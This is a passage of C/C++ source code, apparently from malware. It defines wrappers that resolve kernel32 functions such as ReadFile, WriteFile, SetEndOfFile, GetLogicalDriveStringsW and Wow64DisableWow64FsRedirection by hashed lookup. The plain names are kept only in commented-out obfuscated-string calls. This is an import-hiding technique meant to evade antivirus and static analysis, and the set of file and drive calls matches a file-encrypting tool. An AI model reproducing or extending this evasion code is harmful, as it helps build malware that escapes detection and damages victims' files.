PWSTR pStringBuf,
size_t StringBufSize
);
PCSTR WINAPI pStrStrIA(
PCSTR pszFirst,
PCSTR pszSrch
);
PCWSTR WINAPI pStrStrIW(
PCWSTR pszFirst,
PCWSTR pszSrch
);
*/
inline BOOL WINAPI pCancelIo(
_In_ HANDLE hFile
)
{
BOOL(WINAPI * pFunction)(HANDLE);
pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x19515ab5, 0);//GetProcAddress(hKernel32, OBFA("CancelIo"));
return pFunction(hFile);
}
inline int WINAPI plstrlenW(
LPCWSTR lpString
)
{
INT(WINAPI * pFunction)(LPCWSTR);
pFunction = (INT(WINAPI*)(LPCWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x2ffbe59f, 1);//GetProcAddress(hKernel32, OBFA("lstrlenW"));
return pFunction(lpString);
}
inline DWORD WINAPI pGetLogicalDriveStringsW(
DWORD nBufferLength,
LPWSTR lpBuffer
)
{
DWORD(WINAPI * pFunction)(DWORD, LPWSTR);
pFunction = (DWORD(WINAPI*)(DWORD, LPWSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1b99344d, 2);//GetProcAddress(hKernel32, OBFA("GetLogicalDriveStringsW"));
return pFunction(nBufferLength, lpBuffer);
}
inline int WINAPI plstrlenA(
LPCSTR lpString
)
{
INT(WINAPI * pFunction)(LPCSTR);
pFunction = (INT(WINAPI*)(LPCSTR))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xc65c5ee6, 3);//GetProcAddress(hKernel32, OBFA("lstrlenA"));
return pFunction(lpString);
}
inline BOOL WINAPI pReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
)
{
BOOL(WINAPI * pFunction)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
pFunction = (BOOL(WINAPI*)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf91ac9a0, 4);//GetProcAddress(hKernel32, OBFA("ReadFile"));
return pFunction(hFile, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped);
}
inline BOOL WINAPI pGetFileSizeEx(
HANDLE hFile,
PLARGE_INTEGER lpFileSize
)
{
BOOL(WINAPI * pFunction)(HANDLE, PLARGE_INTEGER);
pFunction = (BOOL(WINAPI*)(HANDLE, PLARGE_INTEGER))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1b1acbcc, 5);//GetProcAddress(hKernel32, OBFA("GetFileSizeEx"));
return pFunction(hFile, lpFileSize);
}
inline HANDLE WINAPI pGetCurrentProcess()
{
HANDLE(WINAPI * pFunction)();
pFunction = (HANDLE(WINAPI*)())api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x663b63f4, 6);//GetProcAddress(hKernel32, OBFA("GetCurrentProcess"));
return pFunction();
}
inline BOOL WINAPI pWriteFile(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
)
{
BOOL(WINAPI * pFunction)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
pFunction = (BOOL(WINAPI*)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xc45f4a8c, 7);//GetProcAddress(hKernel32, OBFA("WriteFile"));
return pFunction(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped);
}
inline BOOL WINAPI pWow64DisableWow64FsRedirection(
PVOID* OldValue
)
{
BOOL(WINAPI * pFunction)(PVOID*);
pFunction = (BOOL(WINAPI*)(PVOID*))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1972bf90, 8);//GetProcAddress(hKernel32, OBFA("Wow64DisableWow64FsRedirection"));
return pFunction(OldValue);
}
inline DWORD WINAPI pGetProcessId(
HANDLE Process
)
{
DWORD(WINAPI * pFunction)(HANDLE);
pFunction = (DWORD(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x31d910df, 9);//GetProcAddress(hKernel32, OBFA("GetProcessId"));
return pFunction(Process);
}
inline BOOL WINAPI pSetEndOfFile(
HANDLE hFile
)
{
BOOL(WINAPI * pFunction)(HANDLE);
pFunction = (BOOL(WINAPI*)(HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xede8a61e, 10);//GetProcAddress(hKernel32, OBFA("SetEndOfFile"));
return pFunction(hFile);
}
inline DWORD WINAPI pWaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
)
{
DWORD(WINAPI * pFunction)(HANDLE, DWORD);
pFunction = (DWORD(WINAPI*)(HANDLE, DWORD))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x6a095e21, 11);//GetProcAddress(hKernel32, OBFA("WaitForSingleObject"));
return pFunction(hHandle, dwMilliseconds);
}
inline HANDLE WINAPI pCreateFileW(
LPCWSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
)
{
HANDLE(WINAPI * pFunction)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
pFunction = (HANDLE(WINAPI*)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE))api::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0xf06e87ca, 12);//GetProcAddress(hKernel32, OBFA("CreateFileW"));